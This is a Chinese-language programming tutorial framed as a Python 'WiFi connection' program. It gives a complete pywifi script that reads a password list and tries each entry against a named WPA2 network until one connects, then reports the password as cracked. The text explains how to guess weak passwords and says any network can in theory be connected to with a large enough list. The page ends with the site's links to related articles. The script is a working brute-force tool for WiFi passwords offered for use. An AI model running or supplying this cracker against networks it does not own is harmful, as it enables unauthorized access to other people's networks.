基于Python實(shí)現(xiàn)wifi連接小程序
有時(shí)候我們會(huì)忘記自己的Wi-Fi密碼,或者需要連接某個(gè)Wi-Fi網(wǎng)絡(luò)以滿足合法需求。本文將介紹如何使用Python編程語言編寫一個(gè)簡單的連接Wi-Fi的程序。
一、密碼本準(zhǔn)備
在進(jìn)行wifi猜測時(shí),其實(shí)就是列出各種可能的密碼,用來嘗試去訪問目標(biāo)wifi,直到找出正確的密碼為止,是密碼破解的一種方案。怎么有效去猜測wifi密碼呢,或者說日常中你使用的密碼為什么會(huì)被別人猜到,這就涉及到社會(huì)工程學(xué),比如習(xí)慣使用“123456”、“8888888”等弱口令,使用手機(jī)號(hào)、生日、家庭住址相關(guān)聯(lián)作為密碼,那么就很容易被猜到,這里不過多介紹,理論上任何密碼都可以用這種方法來猜測連接,不過越復(fù)雜的密碼破解耗時(shí)也越長。
二、連接準(zhǔn)備工作
python環(huán)境安裝
訪問Python官網(wǎng),點(diǎn)擊downloads按鈕,在下拉框中選擇系統(tǒng)類型,選擇下載最新版本的Python,沒有版本要求的話,盡量使用最新版本前幾個(gè)版本,避免新版本的不穩(wěn)定。雙擊下載好的Python安裝包,勾選左下角"Add Python 3.7 to PATH"選項(xiàng),然后選擇"Install now"立刻安裝Python,默認(rèn)安裝或自定義安裝。打開命令窗口,使用“python --version”查驗(yàn)環(huán)境是否安裝成功。

下載安裝pywifi庫
pip install pywifi
以下對整個(gè)連接程序主要部分進(jìn)行講解,最后提供完整的連接程序,可以使用自己的wifi網(wǎng)絡(luò)進(jìn)行連接嘗試,密碼本先填寫幾個(gè)錯(cuò)誤密碼,最后再寫入正確密碼,試驗(yàn)是否成功連接wifi,只要密碼本夠全,理論上可以連接所有wifi。注意一行表示一個(gè)可能性密碼。
創(chuàng)建一個(gè)無線對象,獲取無線網(wǎng)卡
#抓取網(wǎng)卡接口 wifi=pywifi.PyWiFi() #獲取第一個(gè)無線網(wǎng)卡 ifaces=wifi.interfaces()[0]
創(chuàng)建WiFi連接文件
創(chuàng)建WiFi連接文件,選擇要連接WiFi的名稱,然后檢查WiFi的開發(fā)狀態(tài),查看wifi的加密算法,一般wifi加密算法為WPA2 PSK,檢查加密單元。
#創(chuàng)建WiFi連接文件 profile=pywifi.Profile() #要連接WiFi的名稱 profile.ssid="WiFi名稱" #網(wǎng)卡的開放狀態(tài) profile.auth=const.AUTH_ALG_OPEN #wifi加密算法,一般wifi加密算法為wps profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密單元 profile.cipher=const.CIPHER_TYPE_CCMP
嘗試連接wifi
密碼本采用只讀的方式,一行一行讀取,后續(xù)用于嘗試連接wifi。
#讀取密碼本
def readPassword():
print("開始破解:")
#密碼本路徑
path="wifi_pass.txt"
#打開文件
file=open(path,"r")
while True:
try:
#一行一行讀取
pad=file.readline()
#嘗試連接wifi
bool = wifiConnect(pad)
if not pad:
break
if bool:
print("密碼已破解: ",pad)
print("WiFi已自動(dòng)連接?。?!")
break
else:
#跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán)
print("密碼破解中....密碼校對: ",pad)
except:
continue
三、完整程序代碼
# coding:utf-8
import pywifi
from pywifi import const
import time
#測試連接,返回鏈接結(jié)果
def wifiConnect(pwd):
#抓取網(wǎng)卡接口
wifi=pywifi.PyWiFi()
#獲取第一個(gè)無線網(wǎng)卡
ifaces=wifi.interfaces()[0]
#斷開所有連接
ifaces.disconnect()
time.sleep(1)
wifistatus=ifaces.status()
if wifistatus ==const.IFACE_DISCONNECTED:
#創(chuàng)建WiFi連接文件
profile=pywifi.Profile()
#要連接WiFi的名稱
profile.ssid="****_Wi-Fi5"
#網(wǎng)卡的開放狀態(tài)
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法為wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密單元
profile.cipher=const.CIPHER_TYPE_CCMP
#調(diào)用密碼
profile.key=pwd
#刪除所有連接過的wifi文件
ifaces.remove_all_network_profiles()
#設(shè)定新的連接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi連接時(shí)間
time.sleep(3)
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi連接")
#讀取密碼本
def readPassword():
print("開始破解:")
#密碼本路徑
path="wifi_pass.txt"
#打開文件
file=open(path,"r")
while True:
try:
#一行一行讀取
pad=file.readline()
#嘗試連接wifi
bool = wifiConnect(pad)
if not pad:
break
if bool:
print("密碼已破解: ",pad)
print("WiFi已自動(dòng)連接?。?!")
break
else:
#跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán)
print("密碼破解中....密碼校對: ",pad)
except:
continue
readPassword()運(yùn)行結(jié)果

到此這篇關(guān)于基于Python實(shí)現(xiàn)wifi連接小程序的文章就介紹到這了,更多相關(guān)Python連接wifi內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Python?Django教程之實(shí)現(xiàn)新聞應(yīng)用程序
Django是一個(gè)用Python編寫的高級(jí)框架,它允許我們創(chuàng)建服務(wù)器端Web應(yīng)用程序。在本文中,我們將了解如何使用Django創(chuàng)建新聞應(yīng)用程序,感興趣的可以嘗試一下2022-10-10
何用Python實(shí)現(xiàn)一個(gè) “系統(tǒng)聲音” 的實(shí)時(shí)律動(dòng)掛件
這篇文章將給大家介紹了如何用 Python 實(shí)現(xiàn)一個(gè) “系統(tǒng)聲音” 的實(shí)時(shí)律動(dòng)掛件,采集后直接實(shí)時(shí)地在電腦上繪制波形動(dòng)畫,主要是用來作為 FL Studio 播放時(shí)的一個(gè)桌面小掛件,文中有相關(guān)的代碼示例供大家參考,需要的朋友可以參考下2024-01-01
python正則表達(dá)式match和search用法實(shí)例
這篇文章主要介紹了python正則表達(dá)式match和search用法,實(shí)例分析了正則表達(dá)式中match和search的功能、定義及相關(guān)使用技巧,具有一定參考借鑒價(jià)值,需要的朋友可以參考下2015-03-03
Python異步并發(fā)控制asyncio.gather 與 Semaphore 協(xié)同設(shè)計(jì)解析
本文詳細(xì)解析了在Python異步編程中使用asyncio.gather與asyncio.Semaphore進(jìn)行并發(fā)控制的重要性,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2026-04-04
python深度學(xué)習(xí)之多標(biāo)簽分類器及pytorch實(shí)現(xiàn)源碼
這篇文章主要為大家介紹了python深度學(xué)習(xí)之多標(biāo)簽分類器的使用說明及pytorch的實(shí)現(xiàn)源碼,有需要的朋友可以借鑒參考下,希望能夠有所幫助2022-01-01

